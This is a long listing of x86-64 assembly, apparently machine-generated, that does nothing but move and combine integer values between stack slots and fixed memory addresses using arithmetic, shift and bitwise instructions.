mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2d60], eax
lea rax, [rsp + 0x4e]
mov qword [0x140114478], rax
mov rax, qword [rsp + 0x63e8]
movzx eax, word [rax]
mov word [rsp + 0xaf0], ax
movsx eax, word [0x140113018]
movsx ecx, word [rsp + 0x9b8]
sub eax, ecx
mov word [rsp + 0xae8], ax
movzx eax, byte [rsp + 0x7a]
mov byte [rsp + 0xec], al
mov rax, qword [rsp + 0x62a8]
movsx eax, byte [rax]
movsx ecx, byte [0x140114212]
shl eax, cl
mov rcx, qword [rsp + 0x52a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d60]
mov ecx, dword [rsp + 0x2c70]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2cc4], eax
mov eax, dword [rsp + 0x2c10]
mov dword [rsp + 0x2da8], eax
mov rax, qword [rsp + 0x4cb8]
mov rcx, qword [rsp + 0x54f8]
mov qword [rsp + 0x6418], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6418]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x61a0], rax
mov rax, qword [rsp + 0x5158]
mov rax, qword [rax]
mov qword [rsp + 0x6420], rax
movsx eax, byte [rsp + 0xa0]
movsx ecx, byte [rsp + 0x43]
xor eax, ecx
mov byte [0x14011303f], al
mov rax, qword [rsp + 0x5130]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x894]
and eax, ecx
mov rcx, qword [rsp + 0x5130]
mov word [rcx], ax
mov rax, qword [rsp + 0x5f78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb9]
add eax, ecx
mov rcx, qword [rsp + 0x5f78]
mov byte [rcx], al
movzx eax, word [rsp + 0x9a0]
mov word [rsp + 0xaf4], ax
mov rax, qword [rsp + 0x59c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5f60]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x99], al
mov rax, qword [rsp + 0x6420]
mov qword [rsp + 0x6428], rax
mov rax, qword [rsp + 0x5930]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x51b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ec8], rax
mov rax, qword [rsp + 0x4d88]
mov rcx, qword [rsp + 0x55a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2c60], eax
mov rax, qword [rsp + 0x5958]
mov eax, dword [rax]
mov dword [rsp + 0x2dac], eax
mov rax, qword [rsp + 0x50f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5c30]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x79], al
movsx eax, word [rsp + 0xa90]
mov rcx, qword [rsp + 0x55c0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14011308c], ax
movzx eax, byte [rsp + 0x91]
mov byte [rsp + 0xed], al
mov rax, qword [rsp + 0x5a18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x938]
and eax, ecx
mov rcx, qword [rsp + 0x6048]
mov word [rcx], ax
movsx eax, word [rsp + 0x9ac]
movsx ecx, word [rsp + 0xa6c]
add eax, ecx
mov word [rsp + 0x960], ax
mov rax, qword [rsp + 0x4ff8]
mov eax, dword [rax]
mov dword [rsp + 0x2db0], eax
mov rax, qword [rsp + 0x59a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x63e0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e50], rax
mov rax, qword [rsp + 0x5cb8]
mov eax, dword [rax]
mov dword [rsp + 0x2db4], eax
mov rax, qword [rsp + 0x6200]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5830]
shr rax, cl
mov rcx, qword [rsp + 0x6230]
mov qword [rcx], rax
lea rax, [rsp + 0xb5]
mov qword [rsp + 0x6430], rax
lea rax, [rsp + 0xa8]
mov qword [0x140114480], rax
movzx eax, word [0x140113064]
mov rcx, qword [rsp + 0x4fa8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x57d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x920]
xor eax, ecx
mov rcx, qword [rsp + 0x5848]
mov word [rcx], ax
mov rax, qword [0x140114188]
movzx eax, word [rax]
mov word [rsp + 0xaf8], ax
mov rax, qword [rsp + 0x60d8]
mov rcx, qword [rsp + 0x6420]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ff0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d78]
mov eax, dword [rax]
mov dword [rsp + 0x2db8], eax
mov rax, qword [rsp + 0x5790]
mov rcx, qword [rsp + 0x5958]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2da4], eax
mov rax, qword [rsp + 0x5970]
mov rcx, qword [rsp + 0x5278]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5ab0], rax
mov rax, qword [rsp + 0x4f40]
movzx eax, byte [rax]
mov byte [rsp + 0xee], al
movzx eax, word [rsp + 0xa18]
movzx ecx, word [rsp + 0x940]
add eax, ecx
mov word [0x140113080], ax
mov rax, qword [rsp + 0x5c48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb4]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
lea rax, [rsp + 0x54]
mov qword [rsp + 0x6438], rax
movsx eax, byte [rsp + 0x82]
mov rcx, qword [0x140114168]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x39], al
mov rax, qword [rsp + 0x55d8]
mov rcx, qword [rsp + 0x5570]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4fb8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b74]
mov dword [rsp + 0x2dbc], eax
mov rax, qword [rsp + 0x5e68]
mov rcx, qword [0x140114160]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x62a0], rax
mov rax, qword [rsp + 0x6328]
mov qword [rsp + 0x6440], rax
movzx eax, byte [rsp + 0x7a]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x60], al
movsx eax, byte [0x140114155]
mov rcx, qword [rsp + 0x5a58]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x140113053], al
movzx eax, word [rsp + 0xa28]
mov word [rsp + 0xafc], ax
movsx eax, word [rsp + 0x96c]
movsx ecx, word [rsp + 0x9ac]
shl eax, cl
mov word [rsp + 0x8f0], ax
mov rax, qword [0x1401142d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x914]
xor eax, ecx
mov rcx, qword [rsp + 0x5b50]
mov word [rcx], ax
lea rax, [rsp + 0x98]
mov qword [rsp + 0x6448], rax
mov rax, qword [rsp + 0x59e0]
mov rcx, qword [rsp + 0x4fc0]
mov qword [rsp + 0x6450], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6450]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x53b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6208]
mov eax, dword [rax]
mov dword [rsp + 0x2dc0], eax
mov rax, qword [rsp + 0x53a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b88]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2cdc], eax
mov rax, qword [rsp + 0x5c10]
mov rcx, qword [rsp + 0x5f50]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x56e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5a10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x928]
sub eax, ecx
mov rcx, qword [0x140114338]
mov word [rcx], ax
movzx eax, byte [rsp + 0x9f]
mov byte [rsp + 0xef], al
movzx eax, word [rsp + 0xa2c]
movzx ecx, word [rsp + 0x930]
and eax, ecx
mov rcx, qword [rsp + 0x5908]
mov word [rcx], ax
lea rax, [rsp + 0x8e8]
mov qword [rsp + 0x6458], rax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x54c0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x54d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5c90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d1c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5618]
mov dword [rcx], eax
lea rax, [rsp + 0x56d0]
mov qword [rsp + 0x6460], rax
mov rax, qword [rsp + 0x5180]
mov rcx, qword [rsp + 0x61a0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5d38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ee0]
mov eax, dword [rax]
mov dword [rsp + 0x2dc4], eax
lea rax, [rsp + 0x58]
mov qword [0x140114488], rax
movzx eax, word [rsp + 0xabc]
movzx ecx, word [rsp + 0x848]
sub eax, ecx
mov word [rsp + 0x91c], ax
movsx eax, byte [rsp + 0xea]
mov rcx, qword [rsp + 0x53a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x50b8]
mov byte [rcx], al
lea rax, [rsp + 0xbb]
mov qword [rsp + 0x6468], rax
movzx eax, word [rsp + 0xad0]
mov rcx, qword [rsp + 0x5070]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x63d8]
mov word [rcx], ax
lea rax, [rsp + 0x5cf8]
mov qword [rsp + 0x6470], rax
mov rax, qword [rsp + 0x5210]
mov rcx, qword [rsp + 0x5a98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5c90]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2aec]
mov dword [rsp + 0x2dc8], eax
mov rax, qword [rsp + 0x6350]
mov rcx, qword [rsp + 0x55f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5410], rax
movzx eax, byte [0x140113012]
mov byte [0x140114217], al
mov rax, qword [rsp + 0x5f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5508]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x86c], ax
movzx eax, word [rsp + 0x848]
mov word [rsp + 0xb00], ax
mov rax, qword [rsp + 0x5f60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x60]
xor eax, ecx
mov rcx, qword [rsp + 0x5600]
mov byte [rcx], al
movzx eax, word [rsp + 0x9b8]
mov word [rsp + 0xb04], ax
mov eax, dword [rsp + 0x2cdc]
mov rcx, qword [rsp + 0x5f70]
mov qword [rsp + 0x6478], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6478]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2c4c], eax
mov eax, dword [rsp + 0x2c2c]
mov ecx, dword [rsp + 0x2c00]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2cb0], eax
mov rax, qword [rsp + 0x5748]
mov qword [rsp + 0x6480], rax
mov rax, qword [rsp + 0x54a8]
mov rcx, qword [rsp + 0x5fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5350], rax
mov rax, qword [rsp + 0x5980]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xec]
sub eax, ecx
mov byte [0x140113042], al
movzx eax, word [rsp + 0xa90]
mov word [rsp + 0xb08], ax
mov rax, qword [rsp + 0x4e88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5b48]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9d0], ax
movsx eax, byte [rsp + 0x8e]
mov rcx, qword [rsp + 0x5268]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x51], al
lea rax, [rsp + 0x96]
mov qword [rsp + 0x6488], rax
mov rax, qword [rsp + 0x5e60]
mov ecx, dword [rsp + 0x2cb4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5728]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5d68]
mov rax, qword [rax]
mov qword [rsp + 0x6490], rax
mov rax, qword [rsp + 0x5190]
mov rcx, qword [rsp + 0x6248]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6168]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2d84]
mov dword [rsp + 0x2dcc], eax
movsx eax, word [rsp + 0x9e4]
movsx ecx, word [rsp + 0xaac]
add eax, ecx
mov word [0x14011309c], ax
movzx eax, word [rsp + 0x848]
mov rcx, qword [rsp + 0x53f0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5560]
mov word [rcx], ax
movsx eax, byte [rsp + 0xd8]
movsx ecx, byte [0x14011302b]
sub eax, ecx
mov byte [rsp + 0xd4], al
movzx eax, word [rsp + 0x948]
mov word [rsp + 0xb0c], ax
movsx eax, word [rsp + 0xa38]
mov rcx, qword [rsp + 0x5dd0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xa30], ax
lea rax, [rsp + 0x2d0c]
mov qword [rsp + 0x6498], rax
mov rax, qword [rsp + 0x55e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5b18]
mov qword [rsp + 0x64a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x64a0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2b24], eax
mov rax, qword [rsp + 0x6220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f18]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5a88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b90]
mov rax, qword [rax]
mov qword [rsp + 0x64a8], rax
mov rax, qword [0x140114408]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5b]
xor eax, ecx
mov byte [0x140113027], al
movsx eax, word [rsp + 0xab0]
movsx ecx, word [rsp + 0x8e0]
and eax, ecx
mov word [rsp + 0x9ac], ax
movzx eax, byte [rsp + 0x85]
mov byte [rsp + 0xf0], al
mov rax, qword [0x1401143a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4f58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0x5908]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9c8]
sub eax, ecx
mov rcx, qword [rsp + 0x5b48]
mov word [rcx], ax
lea rax, [0x140114160]
mov qword [rsp + 0x64b0], rax
mov eax, dword [rsp + 0x2b94]
mov ecx, dword [rsp + 0x2b80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b18], eax
lea rax, [rsp + 0x2d08]
mov qword [rsp + 0x64b8], rax
mov rax, qword [rsp + 0x6090]
mov rcx, qword [rsp + 0x5190]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5800]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5c30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc4]
and eax, ecx
mov byte [0x140113056], al
mov rax, qword [rsp + 0x6028]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa8]
add eax, ecx
mov rcx, qword [rsp + 0x4f88]
mov byte [rcx], al
movzx eax, word [rsp + 0xb0c]
mov word [rsp + 0xb10], ax
mov rax, qword [rsp + 0x5738]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x49]
sub eax, ecx
mov rcx, qword [rsp + 0x5458]
mov byte [rcx], al
movzx eax, word [rsp + 0xa6c]
mov word [rsp + 0xb14], ax
mov rax, qword [0x140114160]
mov rcx, qword [rsp + 0x4cb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e08], rax
lea rax, [rsp + 0x2db0]
mov qword [rsp + 0x64c0], rax
mov rax, qword [rsp + 0x6390]
mov rcx, qword [rsp + 0x51f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5538]
mov rcx, qword [rsp + 0x5b68]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2d48], eax
mov rax, qword [rsp + 0x51c0]
movzx eax, word [rax]
mov word [rsp + 0xb18], ax
mov rax, qword [rsp + 0x60d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcf]
shl eax, cl
mov rcx, qword [0x140114440]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5b00]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xe6], al
mov rax, qword [rsp + 0x4e88]
movzx eax, word [rax]
mov word [rsp + 0xb1c], ax
movzx eax, word [rsp + 0xa4c]
mov rcx, qword [rsp + 0x63d8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5908]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5fb8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5830], rax
mov rax, qword [rsp + 0x6368]
mov rax, qword [rax]
mov qword [rsp + 0x64c8], rax
mov eax, dword [rsp + 0x2d98]
mov ecx, dword [rsp + 0x2bec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ff8]
mov dword [rcx], eax
mov eax, dword [0x140114150]
mov dword [rsp + 0x2dd0], eax
mov rax, qword [rsp + 0x63b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5d00]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x67], al
movsx eax, word [rsp + 0x9a4]
mov rcx, qword [rsp + 0x62b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140113034], ax
movzx eax, word [rsp + 0x908]
movzx ecx, word [rsp + 0x9ec]
sub eax, ecx
mov word [rsp + 0x964], ax
movzx eax, word [rsp + 0x8a4]
mov word [rsp + 0xb20], ax
mov rax, qword [rsp + 0x4cd8]
movsx eax, byte [rax]
mov rcx, qword [0x140114310]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xda], al
lea rax, [rsp + 0x5b88]
mov qword [rsp + 0x64d0], rax
mov rax, qword [rsp + 0x5168]
mov rcx, qword [rsp + 0x5d90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x53f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6128]
mov ecx, dword [rsp + 0x2bbc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5c88]
mov dword [rcx], eax
lea rax, [rsp + 0x5d18]
mov qword [rsp + 0x64d8], rax
movzx eax, word [rsp + 0xb0c]
movzx ecx, word [rsp + 0x8cc]
add eax, ecx
mov word [rsp + 0xad0], ax
lea rax, [rsp + 0x89]
mov qword [0x140114490], rax
mov rax, qword [rsp + 0x5d60]
movzx eax, word [rax]
mov word [rsp + 0xb24], ax
movzx eax, byte [rsp + 0x6d]
mov rcx, qword [rsp + 0x4f58]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e00]
mov byte [rcx], al
lea rax, [rsp + 0xb6]
mov qword [rsp + 0x64e0], rax
mov rax, qword [rsp + 0x54f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x52f0]
sar rax, cl
mov rcx, qword [rsp + 0x58a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x55f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2dc4]
shl eax, cl
mov rcx, qword [rsp + 0x5060]
mov dword [rcx], eax
lea rax, [rsp + 0x2958]
mov qword [rsp + 0x64e8], rax
mov rax, qword [rsp + 0x64a8]
mov rcx, qword [0x140113008]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x52c0], rax
lea rax, [rsp + 0x62]
mov qword [rsp + 0x64f0], rax
lea rax, [rsp + 0xea]
mov qword [0x140114498], rax
movzx eax, byte [rsp + 0xe8]
mov rcx, qword [rsp + 0x5700]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4f88]
mov byte [rcx], al
movzx eax, word [rsp + 0xab4]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x97c], ax
movzx eax, word [rsp + 0x868]
mov word [rsp + 0xb28], ax
mov rax, qword [rsp + 0x6170]
movsx eax, byte [rax]
movsx ecx, byte [0x14011302a]
add eax, ecx
mov rcx, qword [rsp + 0x50f8]
mov byte [rcx], al
lea rax, [rsp + 0x55d0]
mov qword [rsp + 0x64f8], rax
mov rax, qword [rsp + 0x5fd0]
mov rcx, qword [rsp + 0x6350]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5480]
mov qword [rcx], rax
mov rax, qword [rsp + 0x64e8]
mov rcx, qword [rsp + 0x5da0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2cf8], eax
mov rax, qword [rsp + 0x5108]
mov eax, dword [rax]
mov dword [rsp + 0x2dd4], eax
mov rax, qword [rsp + 0x6048]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5b58]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140113040], ax
movzx eax, byte [rsp + 0x91]
mov rcx, qword [rsp + 0x64e0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5360]
mov byte [rcx], al
movzx eax, word [rsp + 0xb14]
mov word [rsp + 0xb2c], ax
movsx eax, byte [rsp + 0xb7]
mov rcx, qword [rsp + 0x5fa8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcc], al
movzx eax, word [rsp + 0xa5c]
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0x50b0]
mov rcx, qword [rsp + 0x4c90]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6398], rax
mov rax, qword [rsp + 0x62e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ca4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a98], eax
mov eax, dword [0x140114150]
mov dword [rsp + 0x2dd8], eax
mov rax, qword [rsp + 0x6248]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e40]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x59f0], rax
lea rax, [rsp + 0xd7]
mov qword [0x1401144a0], rax
movzx eax, byte [rsp + 0x73]
mov byte [rsp + 0xf1], al
mov rax, qword [0x1401141d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59]
sar eax, cl
mov byte [rsp + 0x9c], al
movsx eax, word [rsp + 0x8a8]
mov rcx, qword [rsp + 0x4ec0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb04], ax
movzx eax, word [0x140113054]
mov word [rsp + 0xb34], ax
mov rax, qword [rsp + 0x58c8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2ca0]
shl eax, cl
mov dword [rsp + 0x2b6c], eax
lea rax, [rsp + 0x4e08]
mov qword [rsp + 0x6500], rax
mov rax, qword [rsp + 0x58d8]
mov rcx, qword [rsp + 0x5818]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x53e8], rax
mov rax, qword [rsp + 0x55a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b0c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c60], eax
mov rax, qword [rsp + 0x5d28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5100]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14011302c], ax
lea rax, [rsp + 0x9b0]
mov qword [rsp + 0x6508], rax
movzx eax, byte [rsp + 0xcb]
movzx ecx, byte [rsp + 0x9f]
add eax, ecx
mov rcx, qword [rsp + 0x5048]
mov byte [rcx], al
movzx eax, byte [rsp + 0xa6]
mov byte [rsp + 0xf2], al
movzx eax, word [rsp + 0x964]
mov rcx, qword [rsp + 0x4e88]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x92c], ax
mov rax, qword [rsp + 0x58a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5238]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5410], rax
mov rax, qword [rsp + 0x6470]
mov rax, qword [rax]
mov qword [rsp + 0x6510], rax
mov rax, qword [rsp + 0x5bc8]
mov ecx, dword [rsp + 0x2b74]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5b68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2ca0]
mov dword [rsp + 0x2ddc], eax
mov rax, qword [rsp + 0x5810]
movzx eax, word [rax]
mov word [0x1401144a8], ax
mov rax, qword [rsp + 0x5b50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x878]
sub eax, ecx
mov word [rsp + 0x890], ax
lea rax, [rsp + 0xaf]
mov qword [rsp + 0x6518], rax
movzx eax, byte [rsp + 0xe3]
mov rcx, qword [rsp + 0x5f90]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe8], al
movzx eax, word [rsp + 0xaf0]
mov rcx, qword [rsp + 0x5a28]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x8f4], ax
lea rax, [rsp + 0x5798]
mov qword [rsp + 0x6520], rax
mov eax, dword [rsp + 0x2b08]
movzx ecx, al
mov eax, dword [rsp + 0x2db4]
shl eax, cl
mov dword [rsp + 0x2cbc], eax
lea rax, [rsp + 0x6300]
mov qword [rsp + 0x6528], rax
mov rax, qword [rsp + 0x5cc0]
mov ecx, dword [rsp + 0x2d88]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2ca0], eax
movsx eax, byte [rsp + 0xb9]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x140114168]
mov byte [rcx], al
movsx eax, word [rsp + 0xb18]
movsx ecx, word [rsp + 0xb08]
sar eax, cl
mov word [rsp + 0xa60], ax
mov rax, qword [rsp + 0x57a0]
movzx eax, byte [rax]
mov byte [rsp + 0xf3], al
movsx eax, word [rsp + 0x924]
mov rcx, qword [rsp + 0x54b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa38], ax
lea rax, [rsp + 0xa68]
mov qword [rsp + 0x6530], rax
mov rax, qword [rsp + 0x57d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ed8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6200]
mov qword [rcx], rax
mov rax, qword [rsp + 0x55e0]
mov rcx, qword [rsp + 0x6298]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6008]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4fc8]
mov qword [rsp + 0x6538], rax
mov eax, dword [rsp + 0x2d30]
mov ecx, dword [rsp + 0x2af8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5a48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x50c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5050]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140114368]
mov byte [rcx], al
lea rax, [rsp + 0xe6]
mov qword [rsp + 0x6540], rax
movzx eax, byte [rsp + 0x33]
mov rcx, qword [rsp + 0x5e00]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xdd], al
lea rax, [rsp + 0x8bc]
mov qword [rsp + 0x6548], rax
movsx eax, word [rsp + 0xa1c]
movsx ecx, word [rsp + 0xab8]
add eax, ecx
mov word [rsp + 0x890], ax
mov rax, qword [rsp + 0x5c38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x63d0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ff0]
mov qword [rcx], rax
lea rax, [rsp + 0x2bb0]
mov qword [rsp + 0x6550], rax
mov rax, qword [rsp + 0x5d68]
mov rcx, qword [rsp + 0x59f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5988], rax
mov rax, qword [rsp + 0x5cb8]
mov eax, dword [rax]
mov dword [rsp + 0x2de0], eax
lea rax, [rsp + 0x8e4]
mov qword [0x1401144b0], rax
mov rax, qword [rsp + 0x5ea8]
movzx eax, byte [rax]
movzx ecx, byte [0x140113046]
sub eax, ecx
mov byte [rsp + 0x9b], al
movsx eax, word [rsp + 0x9a4]
movsx ecx, word [rsp + 0xa04]
add eax, ecx
mov word [rsp + 0x968], ax
lea rax, [rsp + 0x6e]
mov qword [rsp + 0x6558], rax
movsx eax, byte [rsp + 0x32]
movsx ecx, byte [rsp + 0x50]
sar eax, cl
mov rcx, qword [rsp + 0x5890]
mov byte [rcx], al
mov rax, qword [rsp + 0x5ea0]
mov qword [rsp + 0x6560], rax
mov rax, qword [rsp + 0x50c0]
mov rcx, qword [rsp + 0x5930]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4fc8], rax
mov eax, dword [rsp + 0x2b88]
movzx ecx, al
mov eax, dword [rsp + 0x2cf0]
shl eax, cl
mov dword [rsp + 0x2d90], eax
mov eax, dword [rsp + 0x2d68]
mov dword [rsp + 0x2de4], eax
mov rax, qword [rsp + 0x5f18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5398]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x7f], al
